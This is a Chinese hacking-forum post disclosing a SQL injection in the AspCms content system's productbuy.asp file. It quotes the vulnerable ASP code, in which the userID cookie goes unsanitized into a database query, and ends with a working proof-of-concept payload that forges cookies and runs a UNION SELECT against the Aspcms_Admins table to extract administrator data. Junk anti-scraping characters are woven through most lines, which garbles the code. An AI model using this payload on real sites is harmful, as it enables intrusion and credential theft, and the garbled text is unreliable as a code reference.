好久没上土司了,上来一看发现在删号名单内.....
6 t- h2 Y$ t9 o2 }# h7 `% E也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
' A0 F" `& X" e5 I" l废话不多说,看代码:
8 h% p' c+ [! c9 S) \0 A. ?. K5 V# T1 i6 H$ I
<%9 ^: y' J9 Q( q9 `
4 h, Z/ Q6 z5 H" ^4 i8 W$ R/ f& kif action = "buy" then0 O) ?% O8 x6 ^4 W$ n$ E2 i
$ I. f0 K) u9 g/ F( p/ `2 T
addOrder()
" v' `- R/ e% a/ }2 k8 U8 S* ~/ j
1 P9 Y+ w5 n9 G |' B7 Welse
8 g w4 G+ `9 ]/ V k
: ]4 Y- k4 Y/ H( A7 ~, N& \* u echoContent()
3 ?" U S' e, m# R# R+ g \" E0 {: L/ T/ f; g
end if
$ A7 h |) t4 s% R' U" s
8 X& b* ~% t6 Z' f
9 J0 e# ?& \: e% R z' f: T* z" K; {; I" z
……略过* q5 T8 x$ t) l. u" Q6 F/ {
/ Z; t! v% F6 W
) @8 y4 d4 B3 X1 a1 l
% ~* ~- G; ~# P* a; B; xSub echoContent()
* P" P& C7 n: ~/ ]8 I) [
8 X% U0 A& ]) \( p% T* y dim id
! H! Q* I$ Z; x: h- Z# A. f" J) N- U1 g4 V) s1 `! [1 L
id=getForm("id","get")# P D0 [0 \$ V* ?1 d H+ W$ V
5 D4 ?) e7 M0 A ; | `4 G) O4 K6 q6 n. r
3 j" R4 T r4 Y X" n if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
# M- w( z7 Y3 p r! S8 {- Q& A& |6 }7 |# ^
, y$ A3 H, h+ Z9 s2 y
1 K( B$ q( I7 o7 ^ dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
2 v2 a H- L4 E, A9 Z
/ y& @4 ? Q' e0 c6 Y% |; v' D dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
4 l! V* P& a# |
! |0 Y% M' `! u( l7 X Dim templatePath,tempStr
' N: G; P; Y; W6 n; w i
1 m+ R4 ]* ~" M+ p& ^ templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
) y5 k8 `/ G; k) S
8 l& x$ Q+ S7 s9 A$ f# F9 t/ j5 Q7 D( l* L
v# Z( z5 T* V2 X2 j set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
- ~; E _8 y0 h& Y5 ? ~$ D1 d( _" n5 S' L- J$ a6 {* }9 L5 N
selectproduct=rsObj(0)
- k% e6 {$ E* X. Y; g+ v: T) s; v/ s% C- ~" W1 `
+ T! |) E) n4 i3 P% k |
8 d8 N% p5 ~# @0 `- J Dim linkman,gender,phone,mobile,email,qq,address,postcode
1 r5 p: U( `: j6 f. v( q( ?$ H6 o# e- F e
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
& [; o+ b2 L! A# }$ }/ p6 v) n' h( z: q7 R( D# W' A
if rCookie("loginstatus")=1 then
* I$ J' ?3 I" B7 M5 g" Z5 w. J. o& v9 Y1 n
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
0 C- G6 G8 f- o* I; ], V% r
9 ?5 k- I+ k: q9 a4 @+ y linkman=rsObj("truename") l3 C8 X5 F0 Q. A8 h
" p M1 \: x& ^3 e( k8 n1 j7 n gender=rsObj("gender")" D; K' Q8 S, n, ]* s
5 ~( w5 D/ w4 V O" h phone=rsObj("phone")8 E) |. W0 Y7 R! r7 z
& t( t5 U4 m9 Z4 H. C mobile=rsObj("mobile")
4 k* y# R3 K2 o, n2 Z* m; l
" r8 [! D* \/ F' d4 z email=rsObj("email")
! q0 V: ]. g# q2 n$ ~& {; V
* `- S% S7 O, t; d) B2 y9 b P qq=rsObj("qq")
* x7 C: E( X5 T8 S
( c/ o! F2 O5 |' c! q address=rsObj("address")
2 s1 ^7 R7 y! P7 G
9 |9 O- V- G7 y# P9 O7 D postcode=rsObj("postcode")
7 ]1 a& }$ R2 f# b7 f0 H( L% a) l8 s) q) ?9 A
else ; D; ?1 I0 \: F. y( @; ^ ]4 E
9 Q+ O) g9 `1 Y% [2 [
gender=1% n4 n' C1 \( n# r$ Q: K' Q
7 h7 h4 r- W/ {) \ end if
! F( G) v0 v: i7 C0 g! q
/ p( U; y4 K( q5 a rsObj.close()1 D4 y% d2 g4 `
1 s- B! E: F9 `( _3 q$ s, A/ [7 N
& J5 @3 i8 i" h- P2 _
- v5 F" b+ T% |7 P2 d4 q; G( n, j
with templateObj . ~. o6 {. m" [- ` m* C
l$ y, E1 T5 q) ?" g .content=loadFile(templatePath) 7 U, @, O0 @# i; Y5 B7 a
1 D1 Q% B5 d1 L) X9 _& Y
.parseHtml()' \8 D7 K- y" P
" _% l, R) N: i& V% R .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)0 R; ?8 o5 J7 ~: a1 q+ ~
4 T6 E6 S' V! w: b: Z5 e
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
( J+ ?8 S% S6 a) C5 m6 ^
7 a* a9 v7 ]; L9 Q) N7 A .content=replaceStr(.content,"[aspcms:gender]",gender)
# y4 Z2 }& P+ l. O% D8 _" _2 l* T9 n* F5 n1 m' V9 ?: _
.content=replaceStr(.content,"[aspcms:phone]",phone) 5 ~5 I- y1 w* k9 k) W- I s
6 \' o, v: Q4 P .content=replaceStr(.content,"[aspcms:mobile]",mobile) g; g6 X _# E, V
/ e! T8 z* a: L* ~% \- G .content=replaceStr(.content,"[aspcms:email]",email) . G$ z* Z* |: Z9 V4 B3 s- q
, g: W. g, ~% L& ^* L. G3 E4 O .content=replaceStr(.content,"[aspcms:qq]",qq)
0 N7 q& _6 Z9 Q; s t* d2 I% \
1 h% D' n2 p9 { X1 N/ ?% c2 r" y .content=replaceStr(.content,"[aspcms:address]",address) 6 O* A8 J( T7 O
* [5 X* _$ l6 H! f .content=replaceStr(.content,"[aspcms:postcode]",postcode)
, c9 O; s# }% h3 Z- L& p
& T) Q0 C, x7 F* T- [ .parseCommon() 1 ]/ w7 M3 l, L8 }9 R
* f* Q8 j! U: D! V9 m* u
echo .content
3 l6 ^7 W- H. j1 c! W8 e
/ {9 A9 e* g3 N end with
# o+ U7 J, V9 e: g+ s: A8 U0 A4 V T& L' u+ j1 L4 @* L, _) x: v
set templateobj =nothing : terminateAllObjects
/ |6 X" {: b+ U' c
7 s' |1 H" i* T' CEnd Sub0 i: l( j2 }& g0 b: W) q1 n( T
漏洞很明显,没啥好说的
$ b/ d+ @& \( ]! H; B7 `poc:: ^+ V+ I- } w% S7 N
- e- }9 x$ E6 m- T& W9 w! J# h
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子- Q" H( p8 H# G- r" A
* A: k$ t" A% ?; B. U# d( C
|